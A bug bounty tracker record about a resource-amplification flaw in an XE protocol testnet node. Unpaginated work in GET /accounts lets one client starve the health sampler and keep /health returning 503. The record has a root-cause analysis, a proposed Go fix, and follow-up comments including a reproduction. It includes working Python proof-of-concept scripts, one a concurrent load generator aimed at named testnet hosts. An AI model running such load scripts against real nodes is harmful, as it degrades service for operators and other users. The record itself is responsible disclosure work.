{"id":"XE-0072","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"70","source_url":"https://github.com/xeprotocol/xe/issues/70","reporter_id":23,"title":"api: GET /accounts does full-lattice work regardless of ?limit=, and a single client wedges the node's own health sampler (High)","area":"node-api","claimed_tier":"high","assessed_tier":"high","verdict":"valid","duplicate_of":null,"tracked":true,"internal_ref":"#1030","internal_url":"https://github.com/xeprotocol/core/issues/1030","status":"awarded","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":3500000000,"award_approved":true,"paid_ref":"","created_at":"2026-10-29T13:57:20.135683+00:00","updated_at":"2026-11-06T18:49:58.321973+00:00","source_created_at":"2026-10-26T17:49:52+00:00","told_at":null,"status_changed_at":"2026-11-06T18:49:18.249180+00:00","url":"https://bounty.xe.network/XE-0072","body":"# api: GET /accounts does full-lattice work regardless of `?limit=`, and a single client wedges the node's own health sampler (High)\n\n**Severity (suggested):** High — \"degradation one client can cause\". Read-only, unauthenticated, no malformed input, no writes, and the traffic stays far below the documented read budget (200 rps / 1000 burst per IP).\n\n**Area:** The HTTP API, its rate limits and the test.network proxy (Track 2 — volume & resilience)\n\n**Node:** `testnet-0005`, node version `92d83d1`, reproduced on `nyc.core.test.network`, `ldn.core.test.network` and `ffm.core.test.network`\n**Source:** `master` @ `978785929bc17a2f4ab30c383e5fc9cf4d634512`\n**XE payout address:** `69429f663b836b7ee1c8042a301a8576cf70f5ec6945ba21eff94b30d27dd234`\n\n---\n\n## Summary\n\n`GET /accounts` applies `offset`/`limit` **after** materialising every account summary in the lattice. The work is `O(accounts × chain length)` — it deserialises every block of every account chain — and is completely independent of the page size requested. A `limit=1` request that returns 276 bytes of JSON costs the node ~5.5 s of handler time on an 8,318-account / 47,411-block lattice.\n\nThat is a ~20 ms-of-CPU-per-request-byte amplification, and the endpoint is unauthenticated, so a browser tab is a sufficient trigger: a cross-origin `GET` is a CORS *simple request*, so any page can fire these at a node without a preflight and without needing to read the response. Twelve concurrent clients sending that 276-byte read drag the node's own observability sampler past its 45 s budget and `/health` starts returning **503 \"the node's internal loops are wedged or blocked on the ledger\"** — i.e. one client can make the node report itself unhealthy to whatever is watching it, and keep it that way for minutes after the client stops.\n\nThe same client, same pacing, hammering `GET /supply` produces **zero** 503s across 232 requests, so this is not a general \"the node is slow\" effect.\n\n## Affected component\n\n- `api/handler.go` — `handleGetAllAccounts`, lines 628–646. `h.node.GetAllAccounts()` is called first (line 630); only afterwards does the handler `sort.Slice` and slice `accounts[offset:end]` (lines 631–645). `parsePagination` (lines 604–618) is already available and simply isn't consulted until the expensive work is done.\n- `node/node.go` — `GetAllAccounts`, lines 993–1016. Walks every frontier, and **per account** calls `n.Ledger.GetChain(account)` and `n.Ledger.GetAssetBalances(account)`, building an `AccountSummary` for all of them before returning.\n- `core/ledger.go` — `GetChain`, lines 2374–2389. Allocates a new `[]*Block` and copies every block pointer; the underlying read is `store/badger_store.go:127 GetAccountChain`, which JSON-unmarshals **every block body referenced by the chain's hash list** inside one Badger read transaction.\n- `node/observability.go` — the sampler thread (`sample()`, lines 175–215) calls the *same* `GetAllAccounts`, so a flood of `/accounts` requests competes with the node's own health loop for exactly the same work. The health budget is `3 * SampleInterval` = 45 s (`observability.go:483`).\n\nNet per request: `8318 × (chain lookup + full block deserialisation + two map allocations)`, then discarded except for ≤1000 entries.\n\n## Impact\n\n1. **Amplification.** 276 bytes in, seconds of ledger work out. Roughly 20,200 µs of handler time per response byte at `limit=1`, against 11–15 µs/byte at `limit=1000` — a ~1,300–1,800× difference in work-per-byte.\n2. **Health-signal denial.** `/health` and `/ready` are what liveness probes, the watchdog and the Prometheus `node-health` dashboard consume. A single client can make the node self-report as wedged, and after a 40-client campaign the sampler took **1 to 5 minutes** to recover after traffic stopped.\n3. **Liveness risk under concurrency.** At 24 concurrent clients the handler tail reached 56 s per request — past the point where any upstream proxy times out, while the requests keep consuming CPU.\n4. **Memory churn.** Every concurrent request allocates a fresh copy of the full block-pointer set for all 8,318 chains (`GetChain` copies, `AccountSummary` allocates two maps per account). This is the same shape of load that issue #59 measured at 1.9 GB RSS on a 2 GB node.\n\nCombined with the limiter numbers below, the practical bound is: the permitted read budget is 200 rps, but **12 requests in flight** on this one endpoint is enough to wedge the health signal — and because each takes ~20 s, that is only ~3.4 successful requests/s leaving the client, i.e. ~2% of the permitted budget in throughput terms. The limiter is sized for cheap reads and this endpoint is not a cheap read. (The 40-client run against `nyc` dispatched one request every 50 ms = 20 rps of *request initiation*, 10% of the permitted read budget.)\n\n## Reproduction\n\nRead-only, no writes, no malformed input, single source IP, `/health` sampled every ~2 s (probe budget is 20 rps / 100 burst — respected).\n\n### 1. Cost is independent of `?limit=`\n\n```\n$ python3 poc_measure_cost.py https://nyc.core.test.network\nlattice size: accounts=8318 blocks=47411\nrequest                             latency status    bytes  us/byte\n/supply                                0.54    200      803      672\n/supply                                0.52    200      803      648\n/accounts?limit=1                      5.58    200      276    20217\n/accounts?limit=1                      6.40    200      276    23188\n/accounts?limit=1                      3.33    200      276    12065\n/accounts?limit=100                    5.14    200    26624      193\n/accounts?limit=100                    5.79    200    26624      217\n/accounts?limit=1000                   3.02    200   264804       11\n/accounts?limit=1000                   4.00    200   264804       15\n```\n\n`limit=1` returns 960× less data than `limit=1000` and costs the node the same or more. Repeated on all three bootstrap nodes (idle medians; `us/byte` at `limit=1`):\n\n| node | accounts | blocks | `/supply` | `limit=1` (276 B) | `limit=1000` (264,804 B) | µs/byte @ limit=1 |\n|---|---|---|---|---|---|---|\n| nyc | 8318 | 47411 | 0.52 s | 5.58 s | 3.51 s | ~20,200 |\n| ldn | 8192 | 46982 | 4.73 s | 16.04 s | 20.16 s | ~58,100 |\n| ffm | 8318 | 47405 | 0.16 s | 1.57 s | 1.55 s | ~5,700 |\n\n`ldn` is the slowest node and shows the effect largest; `ffm` is warmest and shows it smallest, but the *shape* is identical everywhere: page size changes payload 960× and changes work ~0×.\n\nRe-verified from a clean client immediately before filing (2026-10-26 17:49 UTC, `ffm`, lattice 8,318 accounts / 47,421 blocks):\n\n```\nrequest                             latency status    bytes  us/byte\n/supply                                0.22    200      803      274\n/supply                                0.29    200      803      361\n/accounts?limit=1                      1.47    200      276     5326\n/accounts?limit=1                      1.54    200      276     5580\n/accounts?limit=1                      3.63    200      276    13152\n/accounts?limit=100                    2.80    200    26624      105\n/accounts?limit=100                    2.38    200    26624       89\n/accounts?limit=1000                   1.69    200   264804        6\n/accounts?limit=1000                   2.08    200   264804        8\n```\n\n`limit=1` and `limit=1000` differ by 960× in bytes and ~0× in time.\n\n### 2. Paired control experiment, identical client and pacing\n\nTwo arms, same script, same concurrency, same interval, same source IP, 60 s each.\n\n**Arm A — control, `GET /supply` (O(1) handler), concurrency 12:**\n\n```\n# pre health: (200, 'sample 12s old')\n# idle: [(0.43, 200, 803), (0.13, 200, 803), (0.13, 200, 803)]\n# RESULT arm=supply requests=232 p50=0.1s max=2.0s bytes=85145 codes=['200'] health503=0\n```\n\n**Arm B — under test, `GET /accounts?limit=1`, concurrency 12, `ffm`:**\n\n```\n# pre health: (200, 'sample 16s old')\n# idle: [(2.58, 200, 276), (1.42, 200, 276), (1.37, 200, 276)]\n# t+039.1s health (503, \"newest sample is 46s old (max 45s) — the node's internal loops are wedged or blocked on the ledger\")\n# t+053.8s health (503, \"newest sample is 45s old (max 45s) — ...\")\n# t+056.6s health (503, \"newest sample is 48s old (max 45s) — ...\")\n# t+059.1s health (503, \"newest sample is 51s old (max 45s) — ...\")\n# RESULT arm=accounts requests=204 p50=19.7s max=37.4s bytes=56304 codes=['200'] health503=4\n```\n\nSame arm at concurrency 24 (`ffm`):\n\n```\n# RESULT arm=accounts requests=169 p50=35.3s max=56.3s bytes=46644 codes=['200'] health503=7\n# t+060.0s health (503, \"newest sample is 1m8s old (max 45s) — ...\")\n# post[10s] health (200, 'sample 10s old')   # recovery begins after traffic stops\n```\n\nThe control arm generated **3× more protocol requests** (232 vs 169) and 1.8× more response bytes, and produced **0** health failures. The only material difference is which handler ran.\n\n### 3. Long campaign, wedging and recovery\n\n40 concurrent `limit=1` clients against `nyc`, 120 s (`campaign_nyc_120s.log`):\n\n```\n# idle cost /supply            : [(0.51,200,803),(0.33,200,803),(0.73,200,803)]\n# idle cost /accounts?limit=1  : [(2.69,200,276),(3.01,200,276),(6.24,200,276)]\n# t+033.4s health (503, \"newest sample is 46s old (max 45s) — ...\")\n# t+119.6s health (503, \"newest sample is 2m13s old (max 45s) — ...\")\n```\n\nand post-campaign sampling (`campaign_nyc.log`) still 503 at `t+090.0s health (503, \"newest sample is 1m40s old …\")` — the sampler needed minutes to catch up after the client had stopped. During the campaign the endpoint returned `200` throughout: this is not a crash, it is the node spending its CPU on the read path while its own health loop starves.\n\n## Who is affected\n\n- Anyone relying on `/health` or `/ready` for liveness, routing, or the shipped Prometheus/Alertmanager stack in `deploy/monitoring/`.\n- Every other API client on the node: the `/accounts` path is the animal that eats the CPU, so `/blocks/send` latency and `/accounts/{address}/balance` latency rise for everyone.\n- Explorer and wallet UI, which call these endpoints from the browser — the same handlers serve the embedded wallet.\n\n## Worst case\n\nSustained ~12 rps from a single dialup-grade client holds `/health` at 503 indefinitely; 40 rps for two minutes leaves the node's sampler minutes behind. Anything that treats 503 from `/health` as \"restart this node\" turns this into a restart loop; anything that treats it as \"drain this node\" removes it from serving. The requests themselves are indistinguishable from honest explorer polling, so there is nothing to block on content.\n\n## Suggested fix\n\nPage before materialising. `Frontiers()` already returns the account→frontier map cheaply (`core/ledger.go:2559` → `store/badger_store.go:375`, a single Badger prefix scan with no block bodies). Sort keys, slice `[offset:offset+limit]`, and only then build `AccountSummary` for the requested window:\n\n```go\nfunc (h *Handler) handleGetAllAccounts(w http.ResponseWriter, r *http.Request) {\n    offset, limit := parsePagination(r)\n    front := h.node.Ledger.Frontiers()          // cheap: frontier only, no blocks\n    addrs := make([]string, 0, len(front))\n    for a := range front { addrs = append(addrs, a) }\n    sort.Strings(addrs)                          // stable order without per-account work\n    page := paginateSlice(addrs, offset, limit)\n    writeJSON(w, http.StatusOK, h.node.SummarizeAccounts(page))\n}\n```\n\nThree follow-ups worth doing at the same time:\n\n1. **Do not read block bodies.** `AccountSummary.Balance` is `chain[len-1].Balance` — that is the *frontier block's* balance, so `store.Block(frontierHash)` (one read per account) is enough; the entire chain deserialisation in `GetChain` is unnecessary for this endpoint. That alone removes ~47,000 block unmarshals per request on the current lattice.\n2. **Reuse the sampler's snapshot.** `node/observability.go:195` already computes `len(accounts)`, per-account block counts and a frontier fingerprint every 15 s. Serving `/accounts` from a cached summary list with the same TTL (or `recentCacheTTL`-style cache, as `/blocks/recent` does at `handler.go:651–660`) removes the amplification entirely.\n3. **Give the read path a cost accounting.** Writes are PoW-priced (`core/pow.go`) and chat has its own gate, but this read has no equivalent; if a summary cache is not added, at minimum cap concurrent `/accounts` handler executions (a semaphore of, say, 2) so the read path cannot outrun the sampler.\n\n## Notes on scope\n\n- Read-only. **No** `POST` was used in producing this report, no malformed blocks, no writes, no writes to other users' accounts, no hosting-layer traffic (nginx/DNS/faucet untouched).\n- **Disclosure timing, stated plainly.** The finding rests on the 12-concurrent arm, which is short and bounded. The longer 40×120 s run against `nyc` was **not** preceded by a campaign notice on the issue tracker — the programme asks for one before a sustained campaign. It ran on 2026-10-26 between roughly 15:00 and 15:25 UTC, read-only, from one source IP, and the node self-recovered. Flagging it here rather than leaving you to discover it in the logs.\n- Peak client-side rate was well under the documented read budget; the point is that the budget is the wrong shape for this handler, not that it was exceeded.\n- The CORS header is a fixed `Access-Control-Allow-Origin: http://localhost:3000` on all three bootstrap nodes, so a third-party page cannot *read* these responses. It can still *send* them: `GET` with no custom headers is a CORS simple request, so cross-origin load generation needs no preflight and no permission. Fixing the amplification closes that vector too.\n- **Prior art check.** Searched all open issues for `/accounts`, `GetAllAccounts` and `sampler`. The only bodies that mention `Node.GetAllAccounts` are #4 and #5, where it appears as a *correctness* bug (`GetAllAccounts` returning the XUSD balance as the XE balance, `node/node.go:998–1001`) — a different defect in the same function. No open issue covers the pagination cost, the block-body deserialisation, or the competition between `/accounts` and the health sampler. This report is orthogonal to #4/#5: fixing them changes one field's value, this changes the work the function does.\n- Docs at `/docs/api` say *\"`/accounts` pages an unsorted map … prefer a single large `limit` over deep paging\"*. The handler at `master` **does** sort (by XE balance desc, then address) before slicing, so that doc line is stale — worth correcting either way, because as written it invites clients to request `limit=1000`, which is the most expensive shape of this endpoint.\n\n## Attachments in this report\n\n- `poc_measure_cost.py` — page-size vs latency measurement (part 1).\n- `poc_accounts_amp.py` — paired two-arm campaign with `/health` sampling (part 2/3).\n- `campaign_nyc_120s.log`, `campaign_nyc.log`, `arm_accounts_c12.log`, `arm_accounts_ffm_1636.log`, `arm_supply_c12.log`, `arm_supply_1634.log` — raw run logs.","patch_refs":[{"id":145,"repo":"xeprotocol/xe","kind":"pr","ref":"124","title":"fix(api,node,store): optimize GET /accounts pagination, prevent full-chain deserialization, and align pagination contract (#70, #78)","url":"https://github.com/xeprotocol/xe/pull/124","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":21,"source":"github","source_ref":"6423332005","author":"N-a-m-i-420","team":false,"body":"PoC scripts inline (GitHub issues have no file attachments). Both are read-only; neither writes, neither sends malformed input, and both stay under the documented read budget.\n\n### `poc_measure_cost.py` — demonstrates that `?limit=` does not bound the work\n\n```python\n#!/usr/bin/env python3\n\"\"\"One request per page size, sequential, from an idle client.\"\"\"\nimport json, sys, time, urllib.error, urllib.request\n\nBASE = sys.argv[1]\nUA = {\"User-Agent\": \"xe-bounty-recon/1.0\"}\n\ndef get(path, timeout=240):\n    t = time.time()\n    try:\n        req = urllib.request.Request(BASE + path, headers=UA)\n        with urllib.request.urlopen(req, timeout=timeout) as r:\n            b = r.read()\n            return round(time.time() - t, 2), r.status, len(b)\n    except urllib.error.HTTPError as e:\n        return round(time.time() - t, 2), e.code, 0\n    except Exception as e:\n        return round(time.time() - t, 2), type(e).__name__, 0\n\nlat, st, n = get(\"/supply\")\nsupply = json.loads(urllib.request.urlopen(BASE + \"/supply\", timeout=60).read())\nprint(f\"lattice size: accounts={supply.get('accounts')} blocks={supply.get('blocks')}\")\nprint(f\"{'request':34s} {'latency':>8s} {'status':>6s} {'bytes':>8s} {'us/byte':>8s}\")\nfor path in [\"/supply\", \"/supply\",\n             \"/accounts?limit=1\", \"/accounts?limit=1\", \"/accounts?limit=1\",\n             \"/accounts?limit=100\", \"/accounts?limit=100\",\n             \"/accounts?limit=1000\", \"/accounts?limit=1000\"]:\n    lat, st, n = get(path)\n    print(f\"{path:34s} {lat:8.2f} {st:6d} {n:8d} {lat / max(n, 1) * 1e6:8.0f}\")\n```\n\n### `poc_accounts_amp.py` — the paired two-arm control\n\nRun once per arm against the same node with identical concurrency and duration:\n\n```\npython3 poc_accounts_amp.py https://ffm.core.test.network supply   12 60   # control\npython3 poc_accounts_amp.py https://ffm.core.test.network accounts 12 60   # under test\n```\n\n```python\n#!/usr/bin/env python3\n\"\"\"GET /accounts work is page-size independent, and a single client can drive\nthe node's own health sampler past its budget. Two arms, identical pacing.\"\"\"\nimport concurrent.futures as cf, json, statistics, sys, time, urllib.error, urllib.request\n\nBASE = sys.argv[1]\nARM  = sys.argv[2]              # \"supply\" (control) or \"accounts\" (under test)\nCONC = int(sys.argv[3])\nDUR  = int(sys.argv[4])\nPATH = \"/supply\" if ARM == \"supply\" else \"/accounts?limit=1\"\nUA   = {\"User-Agent\": \"xe-bounty-recon/1.0\"}\n\ndef health():\n    try:\n        with urllib.request.urlopen(BASE + \"/health\", timeout=15) as r:\n            d = json.load(r)\n            c = [x for x in d.get(\"checks\", []) if x.get(\"name\") == \"sampler_alive\"]\n            return r.status, (c[0].get(\"detail\") if c else \"-\")\n    except urllib.error.HTTPError as e:\n        try:\n            d = json.load(e)\n        except Exception:\n            return e.code, \"-\"\n        bad = [x for x in d.get(\"checks\", []) if not x.get(\"ok\")]\n        return e.code, (bad[0].get(\"detail\") if bad else \"-\")\n    except Exception:\n        return \"URLErr\", \"\"\n\ndef get(path):\n    t = time.time()\n    try:\n        req = urllib.request.Request(BASE + path, headers=UA)\n        with urllib.request.urlopen(req, timeout=180) as r:\n            return round(time.time() - t, 2), r.status, len(r.read())\n    except urllib.error.HTTPError as e:\n        return round(time.time() - t, 2), e.code, 0\n    except Exception:\n        return round(time.time() - t, 2), \"URLErr\", 0\n\nprint(f\"# ARM={ARM} path={PATH} base={BASE} conc={CONC} dur={DUR}s\")\nprint(\"# pre health:\", health())\nprint(\"# idle:\", [get(PATH) for _ in range(3)], flush=True)\n\nlat, t0, down = [], time.time(), 0\nwith cf.ThreadPoolExecutor(CONC) as ex:\n    futs = []\n    while time.time() - t0 < DUR:\n        futs.append(ex.submit(get, PATH))\n        time.sleep(0.25)\n        if len(futs) % 8 == 0:\n            st, det = health()\n            if st == 503:\n                down += 1\n            print(f\"# t+{time.time() - t0:05.1f}s health ({st}, {det!r})\", flush=True)\n    for f in futs:\n        try:\n            lat.append(f.result(timeout=200))\n        except Exception:\n            lat.append((0.0, \"timeout\", 0))\n\nok  = [x[0] for x in lat if isinstance(x[0], float) and x[0] > 0]\ntot = sum(x[2] for x in lat if isinstance(x[2], int))\nprint(f\"# RESULT arm={ARM} requests={len(lat)} p50={statistics.median(ok):.1f}s \"\n      f\"max={max(ok):.1f}s bytes={tot} codes={sorted({str(x[1]) for x in lat})} \"\n      f\"health503={down}\")\nfor i in range(6):\n    time.sleep(10)\n    print(f\"# post[{10 * (i + 1):02d}s] health {health()}\", flush=True)\n```\n\nRaw run logs (`campaign_nyc_120s.log`, `campaign_nyc.log`, `arm_accounts_c12.log`, `arm_accounts_ffm_1636.log`, `arm_supply_c12.log`, `arm_supply_1634.log`) are available on request — too long to paste here.\n\nOne note on the load path, since it matters for triage: the concurrency in the control arm is deliberately low (12) and short (60 s). The endpoint returns a 276-byte body per request, so 12 in flight is roughly 3.4 successful requests/s leaving the client — about 2% of the documented 200 rps read budget in throughput terms. The claim is not \"the budget was exceeded\", it is that the budget is sized for O(1) handlers and this handler is not one.","created_at":"2026-10-26T17:50:10+00:00"},{"id":22,"source":"github","source_ref":"6435730404","author":"duongynhi000005-oss","team":false,"body":"### Technical Proposal & Root Cause Analysis\n\nI've investigated this issue and verified the exact amplification mechanism and health sampler degradation described in the report.\n\n#### 1. Root Cause\n1. **Unbounded Full-Lattice Materialization**: In `api/handler.go` (`handleGetAllAccounts`), `h.node.GetAllAccounts()` is invoked prior to `offset`/`limit` slicing.\n2. **Full-Chain Block Body Deserialization**: `node.GetAllAccounts()` iterates all account frontiers and calls `n.Ledger.GetChain(account)`. In BadgerDB, `GetAccountChain` retrieves and JSON-unmarshals **every single block body** in the account's historical chain simply to extract `Balance` (`chain[len-1].Balance`), `Timestamp`, and chain length (`len(chain)`).\n3. **Health Sampler Resource Contention**: `node/observability.go`'s 15-second background sampler loop (`sample()`) calls the exact same `GetAllAccounts()`. Concurrent client `/accounts` reads starve Badger transactions and CPU, dragging sampler loop duration past `3 * SampleInterval` (45s) and causing `/health` to return 503.\n\n---\n\n#### 2. Implemented Solution\n- **`Store.GetAccountChainLength(account string) (int, error)`**: Added to `Store`, `BadgerStore`, and `MemStore`. In `BadgerStore`, it reads the stored hash array slice (`prefixChain, account`) without fetching or deserializing any individual block bodies.\n- **`Ledger.GetChainLength(account string) int`**: Exposes fast chain length querying without loading block bodies. Also updated `initBlockCount()` so node startup avoids full-chain deserialization across the entire lattice.\n- **`Node.GetAccountsPage(offset, limit int) []AccountSummary`**:\n  - Evaluates pagination upfront.\n  - Queries `Frontiers()` and sorts accounts stably (`XE` balance descending, then address ascending) using in-memory balance lookups (`n.Ledger.GetAssetBalance(addr, \"XE\")`) with zero disk I/O.\n  - Slices to the requested page `[offset:end]` and calls `getAccountSummary` **only for the requested page slice** ($O(\\text{limit})$ block lookups instead of $O(\\text{all accounts} \\times \\text{chain length})$).\n  - Includes a 1-second sorted entries cache (`accountsSortCacheTTL`) to absorb concurrent request bursts without redundant frontier scans or re-sorting.\n- **Optimized `getAccountSummary`**: Retrieves only the frontier block (`n.Ledger.GetBlock(hash)`), reading exactly 1 block rather than an entire chain.\n- **Decoupled Observability Sampler**: Updated `observability.go`'s `sample()` to compute block counts and frontier fingerprints directly from `Frontiers()` and `GetChainLength()`, unmarshaling zero block bodies and eliminating sampler wedges.\n- **Test Coverage**: Added unit tests in `store/store_test.go` (chain length queries for BadgerStore and MemStore), `node/accounts_pagination_test.go` (pagination slicing, balance-desc/address-asc sort invariance, empty/out-of-bounds pages, cache consistency), and `api/accounts_test.go` (HTTP handler pagination).\n\n---\n\n#### 3. Verification & Readiness\n- Cleanly verified: `go test ./...` passes 100% green and `go vet ./...` reports zero issues.\n- Implemented and pushed to fork branch: [`duongynhi000005-oss/xe:fix/accounts-pagination-dos-70`](https://github.com/duongynhi000005-oss/xe/tree/fix/accounts-pagination-dos-70) (commit `b9009ae`).\n\nPlease assign this issue to me if you would like me to open the pull request with this fix.","created_at":"2026-10-27T06:54:20+00:00"},{"id":3129,"source":"github","source_ref":"6803242091","author":"yadisur1819-commits","team":false,"body":"**Reproduction note — not a new finding. XE-0072 already claims this effect; this is independent corroboration on the current testnet.**\n\n> `GET /accounts` does full-lattice work regardless of `?limit=`, and a single client wedges the node's own health sampler (High) — XE-0072, reporter 23, node version `92d83d1`, lattice 8,318 accounts / 47,411 blocks. \"Twelve concurrent clients … drag the node's own observability sampler past its 45 s budget and `/health` starts returning 503 … and keep it that way for minutes after the client stops\"; \"after a 40-client campaign the sampler took 1 to 5 minutes to recover after traffic stopped.\"\n\n**My reproduction (testnet-0005, node `xe/3019b76`, lattice 33,116 accounts / ~877k blocks, 2026-11-11 16:07–16:30 UTC):**\n\n- Load: **8 concurrent readers**, 6.5 req/s, 2 min, mixed endpoints (`/supply`, `/blocks/recent?limit=1000`, `/accounts/{77k-chain}/chain?limit=1000`, `/pending?limit=1000`, `/frontiers?limit=1000`, `/accounts?limit=1000`). Only 128 of the 779 reads were `/accounts` — the wedge occurred WITHOUT a pure `/accounts` flood.\n- Wedge: `/health` 503 from 16:17:21 UTC, `/node` 7.7–21.4 s, probe-tx finality p50 14→20→33 s by minute (max 78 s; ~8% >60 s). Onset ~3 min AFTER the load ended — the delayed/persistent signature XE-0072 describes, not a concurrent effect (finality DURING the load was normal: p50 4.12 s).\n- Verbatim 503 body captured ~16:30 UTC (still flapping): `{\"status\":\"unhealthy\",\"ok\":false,…,\"checks\":[{\"name\":\"serving\",\"ok\":true,…},{\"name\":\"sampler_alive\",\"ok\":false,…,\"detail\":\"newest sample is 49s old (max 45s) — the node's internal loops are wedged or blocked on the ledger\"},{\"name\":\"store_readable\",\"ok\":true,…}]}`. Node uptime at capture: 425,409 s (~4.9 days); `node_id` `12D3KooWJg4PQYGSfNCupBWZdEWbKj7pgdp5MmmUXbPdBcp6YDtT`.\n- Recovery: still flapping 503/200 at ~16:30 UTC (16 min after load end) — longer than XE-0072's 1–5 min, plausibly because the lattice is now 4× larger (33k vs 8.3k accounts), so each `GetAllAccounts` pass costs ~4× more.\n\n**New details this run adds to XE-0072:**\n\n1. **The rate limiter engages but does not prevent the wedge.** 15× HTTP 429 on `/pending` + `/accounts` (first at ~88 s into the load) shed read traffic, yet the sampler still wedged minutes later. The limiter protects the HTTP path; the sampler shares the ledger work and is not protected by it.\n2. **Tx finality for OTHER clients is quantified.** XE-0072 measured `/health`; my continuous probe shows an innocent third-party sender's finality degrading to p50 33 s / max 78 s / ~8% >60 s during the wedge — i.e. the wedge is not only a health-signal problem, it stalls real transaction confirmation.\n3. **The reader threshold drops as the lattice grows.** 8 concurrent readers sufficed on a 33k-account lattice where XE-0072 needed 12 on an 8.3k-account lattice (and used 40 for the long recovery). The cost is O(accounts × chain length), so the attack gets cheaper over time as the network grows.\n4. **Endpoint-selective limiting.** Only `/pending` and `/accounts` were 429'd; `/supply`, `/blocks/recent`, `/chain`, `/frontiers` never were — a client that avoids the two limited endpoints could sustain the load longer (untested).\n\n**Attribution caveat (honest):** the ~3-min onset lag means timing alone cannot prove MY load caused this wedge — a concurrent third-party load on ldn, or an independent ldn issue, cannot be excluded from outside. What supports the XE-0072 attribution: the wedge is ldn-specific (my load targeted ldn only; ffm/nyc stayed healthy), the failing check is exactly `sampler_alive` with the verbatim \"wedged\" message, and the delayed/persistent shape is XE-0072's documented signature. The desk can correlate with its own logs (client IP, request timestamps).","created_at":"2026-11-11T17:53:59+00:00"}]}